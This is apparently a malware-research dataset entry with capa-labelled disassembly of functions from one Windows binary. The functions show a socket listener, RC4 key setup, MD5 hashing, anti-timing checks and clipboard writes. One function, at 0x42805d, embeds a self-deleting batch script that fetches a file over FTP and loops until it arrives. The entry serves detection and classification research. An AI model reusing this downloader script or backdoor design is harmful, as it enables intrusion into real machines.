joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ee70
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5fccb8
push 0x495750
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call fcn.004951a1
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x40efca
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x40ef1b
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x40ef1b
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x40eef6
cmp al, 0x5c
je 0x40eef6
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x40eede
cmp byte [esi], 0
je 0x40eeff
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x40ef14
cmp al, 0x5c
je 0x40ef14
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x40eefc
cmp byte [esi], 0
je 0x40ef3a
jmp 0x40ef36
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x40ef3a
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x40ef3a
cmp al, 0x5c
jne 0x40ef3a
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x40ef90
cmp al, 0x5c
jne 0x40ef82
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x40ef75
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x40ef7f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40ef7f
push edi
jmp 0x40efc2
and eax, 0x10
cmp al, 0x10
je 0x40ef7f
push edi
jmp 0x40efc2
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x40ef40
mov dword [ebp - 4], 0xffffffff
push edi
call fcn.00494ae6
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.00494ae6
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40f5c6
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5e3483
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
call fcn.005c8e51
xor edi, edi
mov dword [esi + 0x20], vtable.CPen.0
mov dword [esp + 0x14], edi
mov dword [esi + 0x24], edi
lea ecx, [esi + 0x30]
mov byte [esp + 0x14], 1
call fcn.005c8e51
mov ecx, dword [esp + 0xc]
mov dword [esi + 0x54], edi
mov dword [esi + 0x50], vtable.CPen.0
mov dword [0x667660], edi
mov dword [0x66765c], edi
mov word [0x66764e], di
mov word [0x66764c], di
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x40f630
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x5e34c9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esp + 0x18], 3
call fcn.005c8f70
lea edi, [esi + 0x30]
mov ecx, edi
call fcn.005c8f70
lea ecx, [esi + 0x50]
mov dword [esp + 0xc], ecx
mov dword [ecx], vtable.CGdiObject.0
mov byte [esp + 0x18], 4
call fcn.005c9afd
mov ecx, edi
mov byte [esp + 0x18], 1
call fcn.005c8f86
lea ecx, [esi + 0x20]
mov dword [esp + 0xc], ecx
mov dword [ecx], vtable.CGdiObject.0
mov byte [esp + 0x18], 5
call fcn.005c9afd
mov ecx, esi
mov dword [esp + 0x18], 0xffffffff
call fcn.005c8f86
mov ecx, dword [esp + 0x10]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x410f20
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x10]
push 2
push ecx
push esi
mov dword [esp + 0x1c], 0
call edi
test eax, eax
jne 0x410f50
pop edi
pop esi
pop ecx
ret 8
cmp dword [esp + 0x10], 2
je 0x410f5f
pop edi
xor eax, eax
pop esi
pop ecx
ret 8
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x10]
push 2
push eax
push esi
mov dword [esp + 0x1c], 1
call edi
test eax, eax
jne 0x410f82
pop edi
pop esi
pop ecx
ret 8
cmp dword [esp + 0x10], 2
je 0x410f91
pop edi
xor eax, eax
pop esi
pop ecx
ret 8
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x10]
push 2
push eax
push esi
mov dword [esp + 0x1c], ecx
call edi
test eax, eax
jne 0x410fb4
pop edi
pop esi
pop ecx
ret 8
mov ecx, dword [esp + 0x10]
xor eax, eax
cmp ecx, 2
pop edi
sete al
pop esi
pop ecx
ret 8

Function at 0x411400
Capabilities:
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x5e3712
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x104
push esi
mov dword [esp + 4], 0
mov ecx, dword [ecx + 4]
mov edx, dword [esp + 0x120]
push ecx
mov ecx, dword [esp + 0x128]
lea eax, [esp + 0xc]
push pe_nt_image_headers32
push eax
mov eax, dword [esp + 0x128]
push ecx
push edx
push eax
mov dword [esp + 0x128], 3
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov esi, dword [esp + 0x118]
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.005c4bce
mov dword [esp + 4], 1
lea ecx, [esp + 0x11c]
mov byte [esp + 0x110], 2
call fcn.005c4b60
lea ecx, [esp + 0x120]
mov byte [esp + 0x110], 1
call fcn.005c4b60
lea ecx, [esp + 0x124]
mov byte [esp + 0x110], 0
call fcn.005c4b60
mov ecx, dword [esp + 0x108]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x110
ret 0x10
Function at 0x4114d0
Capabilities:
Read .ini file

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5e3728
push eax
mov dword fs:[0], esp
push esi
mov ecx, dword [ecx + 4]
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push edx
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
lea ecx, [esp + 0x14]
mov esi, eax
call fcn.005c4b60
lea ecx, [esp + 0x18]
mov dword [esp + 0xc], 0xffffffff
call fcn.005c4b60
mov ecx, dword [esp + 4]
mov eax, esi
mov dword fs:[0], ecx
pop esi
add esp, 0xc
ret 0xc
Function at 0x411ce0
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x5e37c3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x19c
push ebx
push ebp
mov ebp, ecx
xor ebx, ebx
mov ecx, 0x5fd0d0
mov eax, 0xa
push edi
mov dword [esp + 0x14], ebp
mov dword [ebp + 0x130], ecx
mov dword [ebp + 0x13c], ebx
mov dword [ebp + 0x140], ebx
mov dword [ebp + 0x138], ebx
mov dword [ebp + 0x134], ebx
mov dword [ebp + 0x144], ebx
mov dword [ebp + 0x148], eax
mov dword [esp + 0x1b0], ebx
mov dword [ebp + 0x14c], ecx
mov dword [ebp + 0x158], ebx
mov dword [ebp + 0x15c], ebx
mov dword [ebp + 0x154], ebx
mov dword [ebp + 0x150], ebx
mov dword [ebp + 0x160], ebx
mov dword [ebp + 0x164], eax
lea ecx, [ebp + 0x17c]
mov byte [esp + 0x1b0], 1
call fcn.00407330
lea eax, [esp + 0x18]
mov byte [esp + 0x1b0], 2
push eax
push 0x202
mov dword [ebp], 0x5fd0cc
call dword [sym.imp.WS2_32.dll_WSAStartup]
push str.InitializeCriticalSection
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x667780
call eax
push ebx
push ebx
push 1
push ebx
mov dword [ebp + 0x170], ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov byte [esp + 0xc], 0x66
mov byte [esp + 0xd], 0x76
mov byte [esp + 0xe], 0x67
mov byte [esp + 0xf], 0x53
mov ecx, dword [esp + 0xc]
mov byte [esp + 0x10], 0x70
mov byte [esp + 0x11], 0x52
mov byte [esp + 0x12], 0x65
mov byte [esp + 0x13], 0x64
mov edx, dword [esp + 0x10]
mov dword [ebp + 0x16c], eax
mov dword [ebp + 0x2a], ecx
mov edi, 0x668a14
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp + 0x20], ebx
mov byte [ebp + 0x178], bl
mov byte [ebp + 0x29], bl
mov dword [ebp + 0x168], ebx
mov dword [ebp + 0x174], ebx
mov byte [ebp + 0x28], bl
mov dword [ebp + 0xc], ebx
mov dword [ebp + 0x10], ebx
mov dword [ebp + 0x14], ebx
mov dword [ebp + 0x18], ebx
mov dword [ebp + 0x19c], ebx
mov dword [ebp + 0x1c], 0x2710
mov dword [ebp + 0x188], 0x1d4c0
mov dword [ebp + 0x2e], edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 1
jae 0x411e7f
mov edi, str.12345678
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push esi
mov eax, ecx
mov esi, edi
mov edi, 0x668a14
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop esi
mov edi, 0x668a14
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [ebp + 0x2f]
push 0x668a14
push ecx
mov ecx, ebp
call fcn.00413850
mov ecx, dword [esp + 0x1a8]
mov eax, ebp
pop edi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1a8
ret
Function at 0x411fd0
Capabilities:
Create tcp socket
Create thread
Create udp socket

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x1c]
push esi
push 1
push 0
mov esi, ecx
mov ecx, dword [esp + 0x24]
push 0
push 0
push 1
push 2
mov dword [esi + 4], eax
mov dword [esi + 8], ecx
mov dword [esi + 0x1c], edx
call dword [sym.imp.WS2_32.dll_WSASocketA]
cmp eax, 0xffffffff
mov dword [esi + 0x20], eax
je 0x4120e8
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
test eax, eax
mov dword [esi + 0x168], eax
jne 0x41202c
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor al, al
pop esi
add esp, 0x10
ret 0x10
mov ecx, dword [esi + 0x20]
push 8
push eax
push ecx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x4120de
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [esi + 0x20]
lea ecx, [esp + 4]
push 0x10
push ecx
push edx
mov word [esp + 0x12], ax
mov word [esp + 0x10], 2
mov dword [esp + 0x14], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x41208a
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor al, al
pop esi
add esp, 0x10
ret 0x10
mov ecx, dword [esi + 0x20]
push SysReAllocString
push ecx
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x4120de
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0
push eax
push 0
push esi
push 0x412100
push 0
push 0
call fcn.004958af
add esp, 0x18
cmp eax, 0xffffffff
mov dword [esi + 0x170], eax
je 0x4120e8
mov ecx, esi
call fcn.00412430
mov byte [esi + 0x28], 1
mov al, 1
pop esi
add esp, 0x10
ret 0x10
mov edx, dword [esi + 0x20]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
xor al, al
pop esi
add esp, 0x10
ret 0x10
Function at 0x412430
Capabilities:
Create tcp socket
Create thread
Create udp socket
Get system information on windows

Disassembly:
sub esp, 0x28
push ebx
push ebp
push esi
push edi
push 0
push 1
mov esi, ecx
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
jne 0x412456
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x28
ret
push 0
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
test eax, eax
mov dword [esi + 0x174], eax
push edi
jne 0x41247e
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x28
ret
call dword [sym.imp.WS2_32.dll_closesocket]
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0x28]
mov dword [esi + 0x194], 0xa
mov dword [esi + 0x198], 0x4b
lea eax, [ecx + ecx]
lea ecx, [esi + 0x17c]
mov dword [esi + 0x18c], eax
mov dword [esi + 0x190], eax
call fcn.00407390
mov edx, dword [esp + 0x28]
xor edi, edi
mov dword [esi + 0x24], 0
lea ebx, [edx + edx]
test ebx, ebx
jbe 0x412507
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x10]
push eax
push 0
push esi
push 0x412530
push 0
push 0
call fcn.004958af
add esp, 0x18
test eax, eax
je 0x412511
mov ecx, dword [esi + 0x24]
push eax
inc ecx
mov dword [esi + 0x24], ecx
call ebp
inc edi
cmp edi, ebx
jb 0x4124db
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x28
ret
mov ecx, dword [esi + 0x174]
push ecx
call ebp
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x28
ret

Function at 0x412750
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 8
push ebx
push esi
mov ebx, ecx
push 0x18
call fcn.005c00fd
mov edx, eax
add esp, 4
test edx, edx
je 0x41277d
push edi
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [edx + 0x14], 1
pop edi
jmp 0x41277f
xor edx, edx
mov esi, dword [esp + 0x14]
push 0
lea eax, [esp + 0xc]
push edx
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esi]
push ecx
lea edx, [esi + 0x70]
push 1
push edx
push eax
mov dword [esp + 0x24], 0x8000
call dword [sym.imp.WS2_32.dll_WSARecv]
cmp eax, 0xffffffff
jne 0x4127c3
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
je 0x4127c3
push 0
push esi
mov ecx, ebx
call fcn.004131b0
pop esi
pop ebx
add esp, 8
ret 4
Function at 0x412f00
Capabilities:
Check for time delay via gettickcount
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5e38d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x108
mov al, byte [0x667768]
push ebx
push esi
push edi
test al, 1
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], 0
jne 0x412f4d
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
or al, 1
mov byte [0x667768], al
call esi
mov dword [0x6677a4], eax
jmp 0x412f53
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, dword [ebp + 0xc]
mov edx, dword [0x6677b8]
add edx, edi
push str.InterlockedExchange
push str.KERNEL32.dll
mov dword [0x6677b8], edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
call esi
sub eax, dword [0x6677a4]
cmp eax, 0x3e8
jb 0x412fac
call esi
mov ecx, dword [ebp - 0x14]
mov dword [0x6677a4], eax
mov eax, dword [0x6677b8]
add ecx, 0x14
push eax
push ecx
call ebx
mov dword [0x6677b8], 0
mov ebx, dword [ebp + 8]
push edi
lea esi, [ebx + 4]
mov ecx, esi
call fcn.00401fc0
mov ecx, esi
call fcn.00401e10
test eax, eax
jne 0x412fee
mov ecx, esi
call fcn.00401f90
mov edx, dword [ebx + 0x2080]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0x18
call fcn.005c00fd
mov edx, eax
add esp, 4
test edx, edx
je 0x413015
mov ecx, 6
xor eax, eax
mov edi, edx
mov dword [ebp + 0xc], edx
rep stosd dword es:[edi], eax
mov dword [edx + 0x14], 2
jmp 0x41301c
mov dword [ebp + 0xc], 0
mov edi, dword [ebp - 0x14]
push 3
push ebx
mov eax, dword [edi + 8]
push eax
call dword [edi + 4]
push 0
mov ecx, esi
call fcn.00401fb0
mov ecx, esi
mov dword [ebx + 0x207c], eax
call fcn.00401e10
lea esi, [edi + 0x2f]
mov ecx, 0x40
lea edi, [ebp - 0x114]
mov dword [ebx + 0x2078], eax
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebx + 0x207c]
mov esi, dword [ebp - 0x14]
push eax
lea edx, [ebp - 0x114]
push ecx
push edx
mov ecx, esi
call fcn.00437aa0
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebx]
push 0
push eax
lea eax, [ebx + 0x2078]
push 0x8000
push eax
push 1
push eax
push ecx
call dword [sym.imp.WS2_32.dll_WSASend]
cmp eax, 0xffffffff
jne 0x4130a8
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
je 0x4130a8
push 0
push ebx
mov ecx, esi
call fcn.004131b0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor al, al
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4131b0
Capabilities:
Set socket configuration

Disassembly:
push 0xffffffffffffffff
push 0x5e38f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push esi
push edi
mov edi, ecx
push str.RemoveStaleClient
lea ecx, [esp + 0xc]
call fcn.005c4bce
mov eax, dword [0x65290c]
mov dword [esp + 0x20], 0
mov dword [esp + 0x14], eax
lea ecx, [esp + 8]
mov byte [esp + 0x20], 1
push ecx
lea ecx, [esp + 0x18]
call fcn.005c4c99
push 0x667780
mov dword [esp + 0x14], 0x667780
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea ecx, [esp + 8]
mov byte [esp + 0x20], 3
call fcn.005c4b60
mov eax, dword [esp + 0x2c]
mov esi, dword [esp + 0x28]
test eax, eax
jne 0x413253
mov eax, dword [esi]
lea edx, [esp + 0xc]
push 4
push edx
push 0x80
push 0xffff
push eax
mov word [esp + 0x20], 1
mov word [esp + 0x22], 0
call dword [sym.imp.WS2_32.dll_setsockopt]
mov eax, dword [edi + 0x134]
test eax, eax
je 0x413298
cmp dword [eax + 8], esi
je 0x41326a
mov eax, dword [eax]
test eax, eax
jne 0x41325d
jmp 0x413298
test eax, eax
je 0x413298
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CancelIo]
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], 0xffffffff
mov eax, dword [edi + 8]
push 2
push esi
push eax
call dword [edi + 4]
push esi
mov ecx, edi
call fcn.00413450
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x20], 0xffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea ecx, [esp + 0x14]
call fcn.005c4b60
mov ecx, dword [esp + 0x18]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x1c
ret 8

Function at 0x413850
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x400
push ebx
push ebp
push esi
push edi
xor ebx, ebx
xor esi, esi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x414]
lea edi, [esp + 0x10]
mov eax, ebx
xor edx, edx
div dword [esp + 0x41c]
mov ebp, dword [esp + 0x418]
xor eax, eax
mov byte [ebx + ecx], bl
inc ebx
add edi, 4
cmp ebx, 0x100
mov al, byte [edx + ebp]
mov dword [edi - 4], eax
jl 0x41387a
xor eax, eax
lea edi, [esp + 0x10]
mov dl, byte [eax + ecx]
mov ebp, dword [edi]
mov ebx, edx
and ebx, 0xff
add ebx, ebp
add esi, ebx
and esi, 0x800000ff
jns 0x4138ca
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + ecx]
add edi, 4
mov byte [eax + ecx], bl
inc eax
cmp eax, 0x100
mov byte [esi + ecx], dl
jl 0x4138a9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x400
ret 0xc
Function at 0x418cf0
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x10], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret

Function at 0x419830
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x478
mov eax, dword [esp + 0x47c]
push ebp
xor ebp, ebp
push esi
push ebp
push 0x80
push 3
push ebp
push 1
push SysReAllocString
push eax
mov dword [esp + 0x30], ebp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x419978
push ebx
lea ecx, [esp + 0x2c]
push edi
push ecx
call fcn.00418cf0
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 4
lea edx, [esp + 0x1c]
push ebp
push edx
lea eax, [esp + 0x90]
push 0x400
push eax
push esi
call edi
mov eax, dword [esp + 0x1c]
cmp eax, ebp
je 0x4198b2
lea ecx, [esp + 0x88]
push eax
lea edx, [esp + 0x34]
push ecx
push edx
call fcn.00418d20
add esp, 0xc
jmp 0x41987c
lea eax, [esp + 0x20]
lea ecx, [esp + 0x30]
push eax
push ecx
call fcn.00419770
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [esp + 0x490]
xor eax, eax
xor edx, edx
mov al, byte [esp + ebp + 0x20]
mov dword [esp + 0x11], edx
shr eax, 4
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x19], edx
push 0x64b660
push ecx
mov byte [esp + 0x1c], 0
mov byte [esp + 0x25], dl
call dword [sym.imp.USER32.dll_wsprintfA]
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov al, byte [esp + ebp + 0x2c]
mov ecx, edx
and ecx, 3
and eax, 0xf
rep movsb byte es:[edi], byte [esi]
push eax
lea ecx, [esp + 0x20]
push 0x64b660
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea edi, [esp + 0x28]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x18
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebp
cmp ebp, 0x10
rep movsb byte es:[edi], byte [esi]
jl 0x4198d2
pop edi
pop ebx
pop esi
pop ebp
add esp, 0x478
ret
Function at 0x41aad0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x41ab55
push esi
push edi
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.005c00fd
mov edi, eax
add esp, 4
test edi, edi
je 0x41ab43
lea ecx, [esp + 0x10]
push 0
push ecx
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41ab3a
cmp dword [esp + 0x10], esi
jne 0x41ab3a
mov edx, dword [esp + 0x14]
push esi
push edi
push edx
call fcn.0041a940
add esp, 0xc
push edi
call fcn.005c0126
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
ret 8
mov eax, 1
pop ebx
ret 8
Function at 0x42805d
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5e5d88
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
mov eax, dword [str._echo_off_r_n:begin_r_n]
push esi
mov esi, ecx
push eax
lea ecx, [esp + 0x14]
call fcn.005c4bce
mov ecx, dword [str.echo_open__ftp____cmd.txt_r_necho_110___cmd.txt_r_necho_110___cmd.txt_r_necho_get__var____cmd.txt_r_necho_bye___cmd.txt_r_nftp__s:cmd.txt_r_ndel_cmd.txt_r_nif_not_exist__var____r_necho_NO__NO_..._r_ngoto_:begin_r_n__else___r_n_var___q_r_n__r_ndel__0]
mov dword [esp + 0x30], 0
push ecx
lea ecx, [esp + 0x10]
call fcn.005c4bce
lea edx, [esi + 0x84]
lea eax, [esp + 0x14]
push edx
push str.set__ftp
push eax
mov byte [esp + 0x3c], 1
call fcn.005c4e69
push 0x64cf98
lea ecx, [esp + 0xc]
push eax
push ecx
mov byte [esp + 0x3c], 2
call fcn.005c4df5
lea ecx, [esp + 0x14]
mov byte [esp + 0x30], 4
call fcn.005c4b60
lea edx, [esi + 0x80]
lea eax, [esp + 0x18]
push edx
push str.set__var
push eax
call fcn.005c4e69
push 0x64cf98
lea ecx, [esp + 8]
push eax
push ecx
mov byte [esp + 0x3c], 5
call fcn.005c4df5
lea ecx, [esp + 0x18]
mov byte [esp + 0x30], 7
call fcn.005c4b60
lea edx, [esp + 8]
lea eax, [esp + 0x10]
push edx
lea ecx, [esp + 0x28]
push eax
push ecx
call fcn.005c4d8f
lea edx, [esp + 4]
mov byte [esp + 0x30], 8
push edx
push eax
lea eax, [esp + 0x28]
push eax
call fcn.005c4d8f
lea ecx, [esp + 0xc]
lea edx, [esp + 0x1c]
push ecx
push eax
push edx
mov byte [esp + 0x3c], 9
call fcn.005c4d8f
push eax
lea ecx, [esi + 0x7c]
mov byte [esp + 0x34], 0xa
call fcn.005c4c99
lea ecx, [esp + 0x1c]
mov byte [esp + 0x30], 9
call fcn.005c4b60
lea ecx, [esp + 0x20]
mov byte [esp + 0x30], 8
call fcn.005c4b60
lea ecx, [esp + 0x24]
mov byte [esp + 0x30], 7
call fcn.005c4b60
lea ecx, [esp + 4]
mov byte [esp + 0x30], 4
call fcn.005c4b60
lea ecx, [esp + 8]
mov byte [esp + 0x30], 1
call fcn.005c4b60
lea ecx, [esp + 0xc]
mov byte [esp + 0x30], 0
call fcn.005c4b60
lea ecx, [esp + 0x10]
mov dword [esp + 0x30], 0xffffffff
call fcn.005c4b60
mov ecx, dword [esp + 0x28]
pop esi
mov dword fs:[0], ecx
add esp, 0x30
ret

Function at 0x42d990
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x42d9f5
push ebx
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x10]
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x42d9ed
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, esi
mov esi, dword [esp + 0x10]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebx
ret 8